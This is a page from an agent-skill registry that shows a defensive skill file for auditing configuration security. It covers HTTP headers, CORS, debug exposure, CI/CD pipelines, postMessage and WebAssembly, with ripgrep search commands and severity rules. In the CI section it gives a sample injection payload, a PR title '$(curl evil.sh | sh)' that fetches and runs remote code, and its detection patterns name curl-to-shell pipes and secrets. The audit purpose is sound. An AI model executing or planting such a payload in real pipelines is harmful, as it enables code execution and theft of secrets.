config-hardening
Skill2 starsChanged 51 days agoMITView on GitHub
Audits configuration security in any project — HTTP security headers, CORS policy, cookie flags, TLS settings, debug modes in production configs, default credentials, exposed admin/debug endpoints, CI/CD pipeline risks (GitHub Actions, GitLab CI), and exposed sensitive files. Use when auditing web server, framework, reverse proxy, or CI configuration files.
- Pipes a download into a shell
- Reads credentials
1 other project uses a version of this.
Adopted by
Most recently taken up by
- proflead/codex-skills-librarytheir own version, first seen Jun 18, 2026
Other versions1 project uses a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 1
- proflead/codex-skills-library★ 153same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository23 other files it gives its agents.
- android-code-securitySkill
- auth-reviewSkill
- container-iac-securitySkill
- course-platform-securitySkill
- crypto-reviewSkill
- cve-researchSkill
- data-exposureSkill
- dependency-vulnsSkill
- design-threat-reviewSkill
- django-securitySkill
- dotnet-securitySkill
- flow-securitySkill
- flutter-securitySkill
- graphql-securitySkill
- injection-flawsSkill
- laravel-securitySkill
- llm-securitySkill
- mobile-securitySkill
- rails-securitySkill
- secrets-detectionSkill
- security-auditSkill
- skill-forgeSkill
- spring-securitySkill
The file
We split this skill into the rules it gives an agent
2 rules. About 0 are common, 0 are distinctive, and 2 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈0
Distinctive · estimate
This author's own choices. Worth a look.
2
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 57
Default creds in configs (admin/admin, postgres/postgres in docker-compose) → HIGH in prod context, LOW in clearly-local compose
- Very specific: line 89
No
event.origincheck: before using event.data → HIGH (any window/embed can message it)
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Configuration Hardening
1 — Find the config surface
rg --files -g '*.conf' -g '*.cfg' -g '*.ini' -g '*.toml' -g '*.yaml' -g '*.yml' \
-g 'nginx*' -g 'apache*' -g 'httpd*' -g '.env*' -g 'docker-compose*' \
-g '.github/workflows/*' -g '.gitlab-ci.yml' -g 'Jenkinsfile' -g 'settings*.py' -g 'config*.js' -g 'appsettings*.json'2 — HTTP & transport
- Headers on the main response path (app middleware, nginx
add_header, helmet config):Strict-Transport-Securitymissing → MEDIUM (HIGH for login sessions; recommendmax-age=31536000; includeSubDomains)X-Content-Type-Options: nosniff,X-Frame-Options/frame-ancestors(clickjacking),Content-Security-Policymissing → MEDIUM each; CSP absent on an app with rich user input → HIGH- Weak CSP is not a CSP: a policy containing
script-src 'unsafe-inline'/'unsafe-eval'(ordefault-src *,http:schemes) neutralizes most XSS protection → report as MEDIUM/HIGH with the exact directive to fix (nonces/hashes instead of unsafe-inline; remove unsafe-eval unless the app compiles code)
rg -n -i "content-security-policy|script-src|default-src" -g '*.conf' -g '*.yml' -g '*.js' -g '*.html' -g '*.py' | head -10- Cookie prefixes absent on auth/session cookies (
__Host-/__Secure-prefixed names pin Secure + no subdomain shadowing) → MEDIUM:__Host-sessionnotsession - SRI: third-party
<script src="https://...">withoutintegrity=→ MEDIUM (script supply-chain injection); same-origin scripts exempt
rg -n "script[^>]+src=["']https?://" -g '*.html' -g '*.ejs' -g '*.php' | rg -v integrity # census: every SRI-less script dispositionedReferrer-Policy,Permissions-Policy→ LOW- TLS:
ssl_protocolsstill includes TLSv1/TLSv1.1 → HIGH; self-signed or expired certs referenced → HIGH; HTTP→HTTPS redirect missing → MEDIUM - Cookies: flags
HttpOnly,Secure,SameSiteon auth/session cookies (details in../auth-review/SKILL.md)
3 — CORS
rg -n -i "access-control-allow-origin|cors\(|allow_origins|origin.*\*" -g '!*.md' -g '!docs/**'Access-Control-Allow-Origin: *combined withAllow-Credentials: true→ impossible per spec; if framework silently reflects origin instead → CRITICAL (any site reads authenticated data)- Origin reflection/echo of
Originheader or regex likehttps?://.*\.example.com(matchesevilexample.com— missing anchored dot) → HIGH Origin: nullallowed (sandboxed iframes/data URIs send it;Access-Control-Allow-Origin: nullin config or allow-lists matching null) with credentials/JSON → HIGH — null origin is attacker-forgeable via sandboxed iframe- Wildcard without credentials → LOW/MEDIUM (still enumerates data)
4 — Debug & exposure
rg -n -i "debug\s*=\s*true|debug\s*:\s*true|app\.debug|debug_mode" -g '!*.md' -g '!docs/**'
rg -n -i "traceback|stack.?trace|display_errors\s*=\s*on|show_exceptions" -g '!*.md' -g '!docs/**'- Django
DEBUG=True/ Flaskdebug=True/ LaravelAPP_DEBUG=truein prod-looking config → HIGH (stack traces, env leaks, Werkzeug debugger = RCE) - Verbose error responses leaking SQL, paths, versions → MEDIUM
- Web cache deception: authenticated responses without
Cache-Control: private/no-storebehind a cache keyed on path extension (/api/mevs/api/me/x.cssserved from cache) → session data cached and readable. Check auth'd endpoints' cache headers + cache rules that vary on file extension. - Web cache poisoning (GHSL/Academy class): unkeyed inputs (headers the cache ignores but the app reflects —
X-Forwarded-Host,X-Original-URL, some query params) flowing into cacheable responses → one poisoned entry serves every victim. Repo-detectable subset: response headers/redirect URLs built from request headers WITHOUT keying them (Vary) + any cache layer in front (CDN config,Cache-Control: publicon dynamic responses) → High; full exploitation is runtime-verify. - HTTP request smuggling: mostly proxy/runtime-level, but repo signals exist — front+back frameworks disagreeing on header parsing is undetectable statically; flag adjacent risks:
Content-Length+Transfer-Encodinghandling in custom proxies/middleware code, and unvalidatedX-Forwarded-*/absolute-URI handling in reverse-proxy configs (nginx/apache files in repo) → Medium (runtime-verify note). - World-writable file permissions:
chmod 0o777/0o666,os.open(..., 0o666),fopen+ umask games on files that later execute or hold secrets (keys, configs, socket dirs) → High in prod context; alsochmod -R 777in Dockerfiles/scripts - Default creds in configs (
admin/admin,postgres/postgresin docker-compose) → HIGH in prod context, LOW in clearly-local compose - Exposed sensitive files:
.git/served,.envin webroot,*.bak,.DS_Store,dump.sql,phpinfo()pages → HIGH - Admin/health/debug endpoints (
/actuator/*with env/heapdump,/debug,/admin) without auth → CRITICAL (Spring env/heapdump leaks credentials)
5 — CI/CD pipelines (supply chain)
rg -n "pull_request_target|secrets\.|curl.*\|\s*(ba)?sh|sudo|GITHUB_TOKEN|persist-credentials" .github/workflows/ 2>/dev/null
rg -n "\$\{\{\s*github\.event\.(pull_request\.(title|body|head\.ref)|comment\.|issue\.|review\.)" .github/workflows/ 2>/dev/nullpull_request_target+ checkout of PR head + secrets usage → CRITICAL (fork PRs run with base repo secrets)- Workflow script injection:
${{ github.event.pull_request.title }}(or body/comment/review text) interpolated directly inside arun:block → attacker pushes a PR titled$(curl evil.sh | sh)→ Critical. Pass event data throughenv:first (TITLE: ${{ github.event.pull_request.title }}then"$TITLE"— shell-quoted). curl ... | bashin workflows/Dockerfiles → HIGH- Secrets echoed in logs (
echo $SECRET), or secrets inenv:at job level where third-party actions run → MEDIUM/HIGH - Third-party actions pinned by tag (
uses: x/y@v1) instead of commit SHA → MEDIUM - Overbroad permissions:
permissions: write-allor default token with pull requests from forks → MEDIUM
6 — Framework-specific spot checks
- Express:
helmetabsent,trust proxyweirdness,x-powered-byheader - Next.js/Nuxt:
dangerouslyAllowSVGimage configs, middleware auth bypass patterns - Django:
ALLOWED_HOSTS: ['*']→ MEDIUM;CSRF_COOKIE_SECURE,SESSION_COOKIE_SECUREfalse → MEDIUM - Rails:
force_ssloff,config.hostsempty - Spring:
management.endpoints.web.exposure.include: "*"→ HIGH
7 — Client-side: postMessage & friends
rg -n "addEventListener\(\s*['\"]message|onmessage\s*=|\.receive\(|window\.postMessage|\.postMessage\(" -g '*.js' -g '*.ts' -g '*.html' -g '*.vue' -g '*.svelte'SPA/extension/embed code that listens for messages:
- No
event.origincheck before usingevent.data→ HIGH (any window/embed can message it) event.dataflowing into DOM sinks (innerHTML,location.href = e.data) → CRITICAL combo (cross-origin XSS)- Sending with
postMessage(payload, '*')when payload is sensitive → MEDIUM (any parent/iframe receives it) - Safe form:
if (e.origin !== 'https://app.example.com') return;+ escaped sinks + explicit target origin
Also: window.open handles with opener access across origins, and service-worker message handlers — same rules.
8 — WebAssembly (WSTG 4.13)
rg --files -g '*.wasm' -g '*.wat'
rg -n "WebAssembly\.(instantiate|instantiateStreaming|compile|Module)\(" -g '*.js' -g '*.ts' -g '*.html'
rg -n "fetch\(" -g '*.js' -g '*.ts' | rg -i "engine|wasm|url|param" | head -20- wasm module fetched from a client-controlled URL (query param →
fetch(url)→WebAssembly.instantiateStreaming) → HIGH — attacker-chosen code executes in the page origin; supply-chain rules apply to the artifact (../dependency-vulns/SKILL.md) - bytes from untrusted input compiled directly (
new WebAssembly.Module(userBytes)) → HIGH .wasm/.watblobs tracked in repo: check provenance — what compiled them, is the build tracked/reproducible in CI; unexplained third-party blobs → supply-chain finding, severity by reachability- Safe shape: fixed-path same-origin fetch (triage discriminator for the instantiate grep — it hits both forms)
- Wasm sandbox escapes / memory bugs in compiled sources (Rust
unsafe, C pointers) → runtime-verify + source review via the C pack in../injection-flaws/SKILL.md
API resource & consumption (OWASP API4/API10)
Outbound (API10 — unsafe consumption): the app calling a third-party API is a client handling untrusted input:
rg -n "(axios|fetch|requests|http\.get|RestTemplate|WebClient)\(" -g '*.js' -g '*.ts' -g '*.py' -g '*.java' | rg -v timeout | head- Upstream responses rendered/executed without validation (
innerHTML = upstream.data,eval(body), template injection) → HIGH (compromised/malicious API = XSS/RCE in your app) - Upstream fields trusted for authorization (
if (upstream.role === 'admin')) → HIGH — the third party (or DNS/MITM on plain http) becomes your authz - No timeout on outbound calls → HIGH availability note (API4: one slow dependency stalls workers); recommend connect+read timeouts
- Inbound (API4 — resource consumption): list endpoints without page/limit caps (unbounded
Model.all(),find()no limit) → MEDIUM; batch/mutation endpoints without max-batch-size → MEDIUM; file-processing endpoints without count caps → note with upload checks
Reporting
Table of config → issue → severity → exact config change. Config findings are usually cheap fixes; order the fix list by severity then by effort (these often come first after secrets).
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

